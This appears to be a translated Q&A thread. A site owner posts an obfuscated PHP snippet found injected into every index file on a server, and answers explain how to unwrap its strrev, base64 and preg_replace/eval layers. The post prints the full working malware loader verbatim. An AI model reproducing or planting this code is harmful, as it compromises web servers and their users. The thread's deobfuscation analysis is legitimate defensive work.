我刚刚注意到我的所有索引文件在我的服务器中都有以下代码。我想知道如何解码。找出这个代码的幕后黑手？请你帮我解码这个。
<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "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pO31ldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9QVNmN2t5YU5SbWJCUlhXdk5uUmpGVVdKeFdZMlZHSm9VR1p2TldaazlGTjJVMmNoSkdJdUpYZDBWbWM3QlNLcjFFWnVGRWRaOTJjR05XUVpsRWJoWlhaa2dpUlRKa1pQbDBaaFJGYlBCRmFPMUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5MEVTa2htVXpNbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVldQWE5GWm5ORVpWbFZhRk5WYmh4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiN2tpSTkwVFFqQmpVSUZtSW9ZMFVDWjJUSmRXWVV4MlRRaG1UTnhXWTJWV1BYWlZjaFpsY3BWMlZVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5UXpWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGwxalFtaEZSVmRFZGlWRlpDeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wSVNQOUVWUzJSMlZKSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDFUWlZwblJ1VjJRc0oyZFJ4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUWHBJU1YxVWxVSVpFTVlObFZ3VWxWNVlVVlZKbFJUSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbHRsVUZabFVGTjFYazB6UW1OMlpOQm5kcE5YVHl4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BraWNxTmxWakYwYWhSR1daUlhNaFpYWmtnaWRsSm5jME5IS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoQ2JoWlhaIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BJU1A5YzJZc2hYYlpSblJ0VmxJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSXNraUkwWTFSYVZuUlhkbElvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVkdJc2tpSTlrRVdhSkRiSEZtYUtoVldtWjBWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxCQ0xwSUNNNTBXVVA1a1ZVSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbEJDTHBJU1BCNTJZeGduTVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsQkNMcElDYjRKalcybGpNU0pDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoU2VoSm5jaEJTUGdRSFVFaDJiemRFZHVSRWRVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wa2lJNVFIVkxwblVEdGtlUzVtWXNKbGJpWm5UeWdGTVdKaldtWjFSaUJuV0hGMVowMDJZeElGV2FsSGRJbEVjTmhrU3ZSVGJSMWtUeUlsU3NCRFZhWjBNaHBrU1ZSbFJrWmtZb3BGV2FkR055SUdjU05UVzFabGJhSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbGhDYmhaWFoiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PXdPcGdDTWtSR0pnMERJWXBIUnloMVRJZDJTbnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PVFmOXREYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0l2aDJZbHRUWHhzRmFqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJOUFDYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0k3a0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDTGxWbGVHNVdaRHhtWTNGRmJoWlhaa2dTWms5R2J3aFhaZzBESW9OV1FNcDFhVUprVnNWWGNuTjNjenhXWTJWR0o3bFNLbFZsZUc1V1pEeG1ZM0ZGYmhaWFprd0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDS3lSM2N5UjNjb0FpWnB0VEtwMFZLaVVsVHhRVlM1WVVWVkpsUlRKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrZ1NaazkyWXVWR2J5Vm5McElTT24xbVNpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWt5UW1OMlpOQm5kcE5YVHl4V1kyVkdKb1VHWnZObWJseG1jMTVTS2lrVFN0cGtJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZtTGRsaUk5a2tSU1ZrUndnbFJTRkRWT1oxYVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVm1McElTUDRRMFlpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSXZKa2JNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVpUW1oRlJWZEVkaVZGWkN4V1kyVkdKdWtpSTkwemRNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVDVzZSa2NZOUVTbnQwWnNGbWRsUmlMcElTUDRrSFRpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSTkwelpQSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDV5VldGWFlXSlhhbGRGVnNGbWRsUkNLdUpFVGpkVVNKOVVXeHRXU0MxVVJYeFdZMlZHSTlBQ2FqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJN2tDTXdnRE14c1NLb1VXYnBSSExwa2lJOTBFU2tobVV6TW1Jb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSzFRV2JzYzFVa2QyUWtWVldwVjBVdEZHYmhaWFprZ1NacHQyYnZOR2RsTkhRZ3NISWxOSGJsQlNmN0JTS3BrU1hYTkZabk5FWlZsVmFGTlZiaHhXWTJWR0piVlVTTDkwVEQ5RkpvUVhaek5YYW9BaWN2QlNLcE1rWmpkV1R3WlhhejFrY3NGbWRsUkNJc0lTYXZJQ0l1QVNLMEJGUm85MmNIUm5iRVJIVnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9";$eva1tYlbakBcVSir = "'x65'144'x6f'154'x70'170'x65";$eva1tYldakBcVSir = "'x73'164'x72'162'x65'166";$eva1tYldakBoVS1r = "'x65'143'x61'154'x70'145'x72'137'x67'145'x72'160";$eva1tYidokBoVSjr = "'x3b'51'x29'135'x31'133'x72'152'x53'126'x63'102'x6b'141'x64'151'x59'164'x31'141'x76'145'x24'50'x65'144'x6f'143'x65'144'x5f'64'x36'145'x73'141'x62'50'x6c'141'x76'145'x40'72'x65'166'x61'154'x28'42'x5c'61'x22'51'x3b'72'x40'50'x2e'53'x29'100'x69'145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "'x73'164'x72'x65'143'x72'160'164'x72";$eva1tYlbakBcVSir = "'x67'141'x6f'133'x70'170'x65";$eva1tYldakBoVS1r = "'x65'143'x72'160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>
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正确缩进代码（我使用http://beta.phpformatter.com/)
http://pastebin.com/A106eFjY
-
查找函数调用（
func()或$func()）。第14行：`$eva1tYldokBcVSjr（…，$eva1tY ldakBcVSir）；
-
注释掉函数调用和
echo $eva1tYldokBcVSjr（和$eva1tYldakBcVSir），看看它在做什么。echo $eva1tYldokBcVSjr;=>'preg_replace'echo $eva1tYldakBcVSir;=>'strrev' -
从传递给
$eva1tYldokBcVSjr()的参数中选择echo（preg_replace()）。$eva1tYidokBcVSjr[0.016 * (7812.5 * 0.016)]=>"@(.+)@ie"$eva1tYidokBcVSjr[62.5 * 0.016]=>"eval("'1");"strrev($eva1tYidokBcVSjr[0.061 * 0.031])=>"@eval(base64_decode($eva1tYidakBcVSjr[1]));"
因此，第14行解码为（在PHP正则表达式中，任何东西都可以是分隔符）：
preg_replace("/(.+)/ie", 'eval("'1");', eval(base64_decode($eva1tYidakBcVSjr[1])));
正在进行base64_decoded解码的字符串中包含一堆eval
http://pastebin.com/zRr9dMHN
用echo s替换所有这些eval s，看看发生了什么。还有更多的eval(base64_decode( s。
http://pastebin.com/H9WcBFyJ
将这些eval s更改为echo s会得到以下信息：
http://pastebin.com/VaYCgUyK
我看到里面有一个setcookie。。。
编辑：这是一篇有人继续解码的帖子：
http://www.thehosthelpers.com/technical-help/help-de-obfsucating-code/msg17585#msg17585
代码不能在一对一的关系中工作。您可以将任意数量的不同代码写入同一个末端。正因为如此，去混淆代码是非常困难的。你可以尝试使用一些像这样的去模糊扩展，但我不希望得到清晰的代码。此外，如果黑客很聪明，他会使用一些重定向和其他措施来确保即使你消除了代码的模糊，你也无法跟踪他。
我立即在谷歌上找到了这样的页面：
http://blog.sucuri.net/2011/10/evil-backdoors-part-ii.html
这里也有人问：
Wordpress文件中的PHP脚本。请解码或帮助我删除
忽略第一个长变量（$eva1fYlbakBcVSir）。您可以遍历并回显其他使用转义序列编写的var，然后您可以解密其余的代码。